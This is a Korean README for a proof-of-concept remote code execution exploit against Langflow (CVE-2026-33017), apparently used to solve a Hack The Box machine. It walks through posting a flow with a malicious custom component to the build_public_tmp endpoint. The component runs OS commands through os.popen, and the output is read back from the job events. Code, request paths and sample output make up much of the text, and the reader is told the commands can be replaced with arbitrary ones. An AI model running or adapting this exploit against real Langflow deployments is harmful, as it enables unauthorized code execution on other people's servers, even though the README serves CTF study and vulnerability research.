
악성 사용자 지정 컴포넌트를 사용하여 build_public_tmp를 통해 OS 명령을 실행하고 작업 이벤트에서 출력을 검색하는 Langflow CVE-2026-33017용 RCE 개념 증명(PoC)
Fireflow 머신을 푸는 과정에서 사용한 PoC로, Hack The Box 머신에서 Langflow 사용자 정의 컴포넌트를 통한 임의 코드 실행 취약점을 시연합니다.
경고: 이 자료는 교육 목적, 보안 연구 및 CTF 시나리오 재현을 위해서만 공유됩니다. PoC는 본인 소유 환경, 연구실 또는 명시적 권한이 있는 시스템에서만 사용하십시오.
이 스크립트는 취약한 Langflow 인스턴스에 플로우를 전송하는 과정을 자동화합니다.
전체적인 아이디어는 다음과 같습니다:
HTB Fireflow 상황에서 이 PoC를 사용하여 Langflow 프로세스 컨텍스트에서 명령을 실행할 수 있는지 검증했습니다.
컴포넌트에 사용된 코드는 다음을 실행합니다:
whoami
hostname
id
pwd
ls -la
편집할 수 있습니다. 이 명령들은 실습 중 실행 컨텍스트를 확인하고 시스템 접근 권한을 검증하기 위한 용도로만 사용됩니다.
스크립트를 실행하기 전에 파일 시작 부분에 있는 세 가지 변수를 채우십시오:
BASE = "" # URL da instância do Langflow
FLOW_ID = "" # ID do fluxo
CLIENT_ID = "" # Client ID/cookie utilizado pela aplicação
BASE테스트 중인 인스턴스의 기본 URL입니다.
예시:
BASE = "http://TARGET"
값에 /api/...를 포함하지 마십시오. 엔드포인트는 나중에 스크립트에 의해 추가됩니다.
FLOW_IDbuild_public_tmp 엔드포인트에서 사용되는 플로우 식별자입니다.
실습 중 열거 과정에서 찾은 플로우에 해당하는 ID를 입력하십시오:
FLOW_ID = "SEU_FLOW_ID"
CLIENT_ID애플리케이션에서 client_id 쿠키로 사용되는 값입니다:
CLIENT_ID = "SEU_CLIENT_ID"
스크립트는 이후 세션을 생성하고 이 쿠키를 자동으로 설정합니다:
session = requests.Session()
session.verify = False
session.cookies.set("client_id", CLIENT_ID)
첫 번째 요청은 다음으로 전송됩니다:
/api/v1/build_public_tmp/{FLOW_ID}/flow
전송되는 JSON에는 타입이 사용자 정의 컴포넌트 ExploitComp인 genericNode 노드가 포함됩니다.
컴포넌트의 관련 부분은 다음과 같습니다:
class ExploitComp(Component):
...
def r(self) -> Data:
result = os.popen(
"whoami; hostname; id; pwd; ls -la"
).read()
return Data(data={
"result": result
})
서버가 플로우를 수락하면 응답에서 job_id가 제공됩니다.
스크립트는 이 식별자를 사용하여 다음을 조회합니다:
/api/v1/build_public_tmp/{job_id}/events
마지막으로 이벤트가 처리되고 컴포넌트가 생성한 결과가 터미널에 표시됩니다.
변수가 설정된 상태에서:
python3 poc.py
성공적인 실행은 다음과 유사한 출력을 생성합니다:
Pwning.....
HTTP: 200
Job ID: <job_id>
Events (/{job_id}/events):
### OUTPUT
----------------------------------------
<resultado da execução>
----------------------------------------
Build concluído em <tempo>s
정확한 출력 내용은 취약한 환경의 사용자, 호스트명, 권한 및 작업 디렉터리에 따라 다릅니다.
요약하면 다음과 같습니다:
poc.py
│
├── configura BASE / FLOW_ID / CLIENT_ID
│
├── monta o componente customizado
│
├── cria o payload JSON
│
├── POST /api/v1/build_public_tmp/{FLOW_ID}/flow
│
├── obtém o job_id
│
├── GET /api/v1/build_public_tmp/{job_id}/events
│
└── extrai o resultado do componente
실습에서 동작을 재현하려면 실행되는 명령이 ExploitComp.r() 안에 있습니다:
result = os.popen(
"whoami; hostname; id; pwd; ls -la"
).read()
승인된 CTF 환경에서는 이 부분을 해당 실습 단계의 목표에 맞는 명령으로 변경할 수 있습니다.
권장사항: PoC를 CTF/실습 환경으로만 한정하고 제3자 시스템에는 사용하지 마십시오.
이 스크립트는 Python 3 와 다음 라이브러리를 사용합니다:
pip install requests urllib3
그런 다음:
python3 poc.py
이것은 Hack The Box Fireflow CTF/실습 중 사용한 PoC로, 취약점을 검증하고 서비스 컨텍스트에서 명령 실행을 얻기 위한 것이었습니다.
이 README의 목적은 이 머신을 공부하거나 Langflow 관련 취약점을 연구하거나 Python 애플리케이션 보안을 배우는 사람들을 위해 이 기술을 재현 가능한 형태로 문서화하는 것입니다.
이 프로젝트는 무단 접근을 장려할 목적이 아닙니다.
코드는 다음 환경에서만 사용해야 합니다:
저자는 승인 없이 제3자 시스템에 이 코드를 사용하는 것에 대해 책임을 지지 않습니다.
책임감 있게 사용하십시오.